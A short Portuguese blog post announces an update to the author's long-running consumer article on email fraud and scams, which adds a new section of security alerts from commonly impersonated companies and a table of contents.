Intacto desde a revisão nº 40 em 2 de maio de 2008, o artigo recebeu hoje uma nova seção, com uma coletânea (não exaustiva) de alertas e informações sobre fraude e segurança disponibilizados por empresas e instituições que são usados com frequência como tema em golpes na internet.

O artigo também recebeu um sumário (índice) no início, para facilitar o acesso aos tópicos e ao texto, que já está bem amplo.

Este artigo é voltado para qualquer usuário de internet, sem a necessidade de conhecimentos técnicos. Meu esforço pessoal de anos em sua elaboração e atualização tem sentido unicamente para produzir um instrumento de informação, orientação e referência sobre um dos temas de segurança mais preocupantes para os usuários de internet: as fraudes e golpes por e-mail.

Leiam. Divulguem. Citem. Espero que esse artigo continue útil e ajude a formar conscientização para uma Internet mais segura.

Abraços!

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